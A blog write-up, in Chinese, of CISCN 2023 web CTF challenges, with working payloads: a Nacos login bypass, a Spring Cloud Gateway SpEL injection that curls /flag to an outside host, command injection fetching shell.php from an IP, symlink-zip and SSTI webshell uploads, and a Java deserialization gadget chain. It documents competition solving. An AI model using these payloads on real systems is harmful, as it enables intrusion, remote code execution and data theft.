May 30, 2023

CISCN2023初赛 Web WriteUp(含复现)

BackendService

首先是个nacos,存在权限绕过漏洞,随便输一个账号登录,修改返回包

1
2
3
4
5
6
7
HTTP/1.1 200 
Authorization: Bearer eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTY2MjM3OTIzOX0.GZbjTD75xkk4FjjDpYLEGcmbbUNw-sUepsn65xiSeU8
Content-Type: application/json;charset=UTF-8
Date: Mon, 05 Sep 2022 07:00:39 GMT
Connection: close
Content-Length: 181
{"accessToken":"eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTY2MjM3OTIzOX0.GZbjTD75xkk4FjjDpYLEGcmbbUNw-sUepsn65xiSeU8","tokenTtl":18000,"globalAdmin":true,"username":"nacos"}

image.png
image.png
登入系统
然后根据源码发现是springcloud绑定了nacos,查看springcloud版本为3.0.5存在spel注入漏洞,根据文章来复现
https://xz.aliyun.com/t/11493#toc-3

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
spring:
cloud:
gateway:
routes:
- id: exam
order: 0
uri: lb://service-provider
predicates:
- Path=/echo/**
filters:
- name: AddResponseHeader
args:
name: result
value: "#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{'id'}).getInputStream())).replaceAll('\n','').replaceAll('\r','')}"

因为给的backend服务里写了配置要以json改,找个在线转换的即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
{
"spring": {
"cloud": {
"gateway": {
"routes": [
{
"id": "exam",
"order": 0,
"uri": "lb://service-provider",
"predicates": [
"Path=/echo/**"
],
"filters": [
{
"name": "AddResponseHeader",
"args": {
"name": "result",
"value": "#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{'curl','-X','POST','-F','xx=@/flag','http://xxxxx'}).getInputStream())).replaceAll('\n','').replaceAll('\r','')}"
}
}
]
}
]

}
}
}
}

dumpit

存在一个命令拼贴
[http://eci-2ze2alj3efo7ucqu86a3.cloudeci1.ichunqiu.com:8888/?db=&table_2_dump=1%0acurl%20http://114.116.119.253:7777%0a](http://eci-2ze2alj3efo7ucqu86a3.cloudeci1.ichunqiu.com:8888/?db=&table_2_dump=1%0acurl%20http://114.116.119.253:7777%0a)
image.png

1
http://eci-2ze2alj3efo7ucqu86a3.cloudeci1.ichunqiu.com:8888/?db=&table_2_dump=1%0acurl%20http://114.116.119.253:7777/shell.php%20-o%20./log/shell.php

进而写入shell。最终env查看flag
image.png

unzip

拿了个一血
image.png

1
2
3
4
5
6
7
8
9
10
11
<?php
error_reporting(0);
highlight_file(__FILE__);

$finfo = finfo_open(FILEINFO_MIME_TYPE);
if (finfo_file($finfo, $_FILES["file"]["tmp_name"]) === 'application/zip'){
exec('cd /tmp && unzip -o ' . $_FILES["file"]["tmp_name"]);
};

//only this!

然后就可以很容易的知道这就是一个ln软连接写shell而已了
我们再自己的linux中先

1
ln -s /var/www/html poc

将网站根目录创建一个软连接
然后zip -y shell.zip poc,把这个软连接文件压缩为zip
然后在mkdir poc
之后再poc文件夹里写一个shell
image.png
最后zip -r poc.zip poc
把这个文件夹压缩为一个zip
最后我们分别依次上传这2个zip就可以获得webshell
image.png

go_session(复现)

这一题属于是考虑错了地方。有点小可惜的,距离解出来就差一点点,很可惜的啊,我是准备了备份文件的,这边我就先搭建一下环境

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
package route

import (
"github.com/flosch/pongo2/v4"
"github.com/gin-gonic/gin"
"github.com/gorilla/sessions"
"html"
"io"
"net/http"
)

var store = sessions.NewCookieStore([]byte(""))

func Index(c *gin.Context) {
session, err := store.Get(c.Request, "session-name")
if err != nil {
http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
return
}
if session.Values["name"] == nil {
session.Values["name"] = "admin"
err = session.Save(c.Request, c.Writer)
if err != nil {
http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
return
}
}

c.String(200, "Hello, guest")
}

func Admin(c *gin.Context) {
session, err := store.Get(c.Request, "session-name")
if err != nil {
http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
return
}
if session.Values["name"] != "admin" {
http.Error(c.Writer, "N0", http.StatusInternalServerError)
return
}
name := c.DefaultQuery("name", "ssti")
xssWaf := html.EscapeString(name)
tpl, err := pongo2.FromString("Hello " + xssWaf + "!")
//tpl, err := pongo2.FromString("Hello " + name + "!")
if err != nil {
panic(err)
}
out, err := tpl.Execute(pongo2.Context{"c": c})
if err != nil {
http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
return
}
c.String(200, out)
}

func Flask(c *gin.Context) {
session, err := store.Get(c.Request, "session-name")
if err != nil {
http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
return
}
if session.Values["name"] == nil {
if err != nil {
http.Error(c.Writer, "N0", http.StatusInternalServerError)
return
}
}
resp, err := http.Get("http://127.0.0.1:5000/" + c.DefaultQuery("name", "guest"))
if err != nil {
return
}
defer resp.Body.Close()
body, _ := io.ReadAll(resp.Body)

c.String(200, string(body))
}

main.go

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
package main

import (
"github.com/gin-gonic/gin"
"main/route"
)

func main() {
r := gin.Default()
r.GET("/", route.Index)
r.GET("/admin", route.Admin)
r.GET("/flask", route.Flask)
r.Run("0.0.0.0:80")
}

提供了3个路由,其中flask对应的就是后端的flask,他们都是运行在一个系统上的,我们可以通过访问localhost/flask?name=/让他debug报错获取源码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
# -*- coding: utf-8 -*-
from flask import Flask

app = Flask(__name__)

d = {
"h": "hello world!"
}
@app.route("/")
def hello():
return "hello"


if __name__ == "__main__":
app.run(host="127.0.0.1", port=5000, debug=True)

当然这是我编的源码,国赛上的也和这个基本一样,没啥影响,然后呢你就可以发现就是一个普通的flask服务,开启了debug,但是我由于经验不足,看到debug默认想到的地方是算pin,忽略了可以文件热部署的情况,因此这是我的失误,导致这一题没拿下了。
那么我们的思路就很简单,通过go的ssti去文件覆盖flask的server.py即可
image.png
我们注意一下这一点,他在tpl.execute的时候是把c也放进去了的,这个c代表着gin里的上下文对象,这样我们就可以引用Context下的所有函数了。但是我对gin框架不是很熟悉,所以没考虑到这一点
image.png
我们其实是可以通过c.SaveUploadedFile(file, file.Filename)
的方法,最后的payload是
{{c.SaveUploadedFile(c.FormFile(c.Request.Header.Accept.0),c.Request.Header.Referer.0)}}
go源码里有一段waf,会过滤引号,所以我们和flask一样通过request对象可以逃逸,当时就在这里止步了。不知道去覆盖,可惜呀,那现在来实操一下。
想要SSTI首先你还得准备key呢,这里很傻逼,key是空的。。。。。所以你只需要本地起一个空key的环境就行了,所以这里就不赘述,接下来是复现步骤
image.png

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
GET /admin?name={{c.SaveUploadedFile(c.FormFile(c.Request.Header.Accept.0),c.Request.Header.Referer.0)}} HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0
Accept: filename
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Referer: E:\\
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryrxtSm5i2S6anueQi
Cookie: session-name=MTY4NTQxODc4MXxEdi1CQkFFQ180SUFBUkFCRUFBQUlfLUNBQUVHYzNSeWFXNW5EQVlBQkc1aGJXVUdjM1J5YVc1bkRBY0FCV0ZrYldsdXy7WOrYaP386kpRTizyXWrsODK1UE5c9AocfIk5qtTjkA==
Upgrade-Insecure-Requests: 1
Content-Length: 591

------WebKitFormBoundaryrxtSm5i2S6anueQi
Content-Disposition: form-data; name="filename"; filename="server.py"
Content-Type: text/plain

from flask import Flask, request
import os

app = Flask(__name__)

@app.route('/shell')
def shell():
cmd = request.args.get('cmd')
if cmd:
return os.popen(cmd).read()
else:
return 'shell'

if __name__== "__main__":
app.run(host="127.0.0.1",port=5000,debug=True)
------WebKitFormBoundaryrxtSm5i2S6anueQi
Content-Disposition: form-data; name="submit"

提交
------WebKitFormBoundaryrxtSm5i2S6anueQi--

这里由于是windows覆盖的好像有点问题。大致就是这样害。。

DeserBug(复现)

比较简单的java题只不过我没做出来,红温高烧加持下让我思考不了。。。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
package org.example;

import cn.hutool.json.JSONObject;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;

public class DeserExp implements Serializable {
public static void main(String[] args) throws Exception {
TemplatesImpl templatesimpl = new TemplatesImpl();

byte[] bytecodes = Files.readAllBytes(Paths.get("E:\\CTFLearning\\JackSonPOJO\\target\\classes\\org\\example\\b.class"));

setValue(templatesimpl,"_name","fuck");
setValue(templatesimpl,"_bytecodes",new byte[][] {bytecodes});
setValue(templatesimpl, "_tfactory", new TransformerFactoryImpl());
Myexcpt myexcpt = new Myexcpt();
myexcpt.setTargetclass(com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter.class);
myexcpt.setTypeparam(new Class[]{Templates.class});
myexcpt.setTypearg(new Templates[]{templatesimpl});
JSONObject jsonObject = new JSONObject();
Map<Object,Object> lazymap = LazyMap.decorate(jsonObject,new ConstantTransformer(1));
TiedMapEntry tiedMapEntry=new TiedMapEntry(lazymap, "aaa");
HashMap<Object, Object> hashMap=new HashMap<>();
hashMap.put(tiedMapEntry,"bbb");
jsonObject.remove("aaa");
Field factory = LazyMap.class.getDeclaredField("factory");
factory.setAccessible(true);
factory.set(lazymap,new ConstantTransformer(myexcpt));
System.out.println(serial(hashMap));
//deserial(serial(hashMap));

}

public static String serial(Object o) throws IOException {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(o);
oos.close();

String base64String = Base64.getEncoder().encodeToString(baos.toByteArray());
return base64String;

}

public static void deserial(String data) throws Exception {
byte[] base64decodedBytes = Base64.getDecoder().decode(data);
ByteArrayInputStream bais = new ByteArrayInputStream(base64decodedBytes);
ObjectInputStream ois = new ObjectInputStream(bais);
ois.readObject();
ois.close();
}

public static void setValue(Object obj, String name, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}
public static void cserialize(Object obj) throws Exception {
ObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object cunserialize(String filename) throws Exception {
ObjectInputStream ois=new ObjectInputStream(new FileInputStream(filename));
Object obj=ois.readObject();
return obj;
}
}

遇到了点小问题,不过问题不大。。。POC综上所述。我就调试一下,断点给在JSONOBJECT的put方法里
image.png
首先是因为cc6中lazymap会触发put的原因,这里的jsonobject是map的子类,因此可以放入lazymap中进行decorate,进而触发到put,这里的value我们用constanttransformer把题目的bean套起来了,继续跟进
image.png
image.png
image.png
经过三次的put最终进入父类的put方法,value就是题目所给的bean
image.png
他会先进行校验,看看是否合规,然后进行warp
image.png
在这wrap函数里会进行一次isJDKCLASS判断
image.png
如果我们放进去的obj是原生类那么就直接触发它的toString,如果不是原生类就实例化JsonObject(这也就是我当时卡在的地方,当时提前弹计算机就是我poc里提前new JSONOBJECT了),这里显然不是原生类,所以实例化
image.png
image.png
调用ObjectMapper的of方法
image.png
这个source就是之前的obj,我们自定义的
image.png
然后进入map方法,getter是在这里获取的
image.png
image.png
到这里obj又换了个名字叫做bean,可以看得出来准备要获取getter了
image.png
进入create方法
image.png
image.png
然后进入BeanCopier方法里里面又调用了BeanToMapCopier方法
image.pngimage.png
然后看到这里,恭喜你只是看完了实例化,我调这的时候也被骗了,之后回到create方法外面,beantoMap方法最后面还有个copy方法
image.png
image.png
然后进入foreach方法
image.png
这里有一个很重要的点就是sourcePropDescMap的获取,这个对象包含着我们bean的所有信息,包括getter和filed,我们看看他是怎么获取的。
image.png
首先进入getBeanDesc获取初步信息
image.png
image.pngimage.png
最后会到BeanDesc的初始化方法里进行init
image.png
在这一部用Reflectionutil获取getter。这就完结了,将获取到的getter去创建一个prop
image.png
image.png
获取到后退回copy方法,调用getValue的时候触发getter,不要忘了上面的细节,这个只接受非原生类
image.png
image.png
弹出计算机,结束。

Reading

烂题不想复现

About this Post

This post is written by Boogipop, licensed under CC BY-NC 4.0.

#CTF#CISCN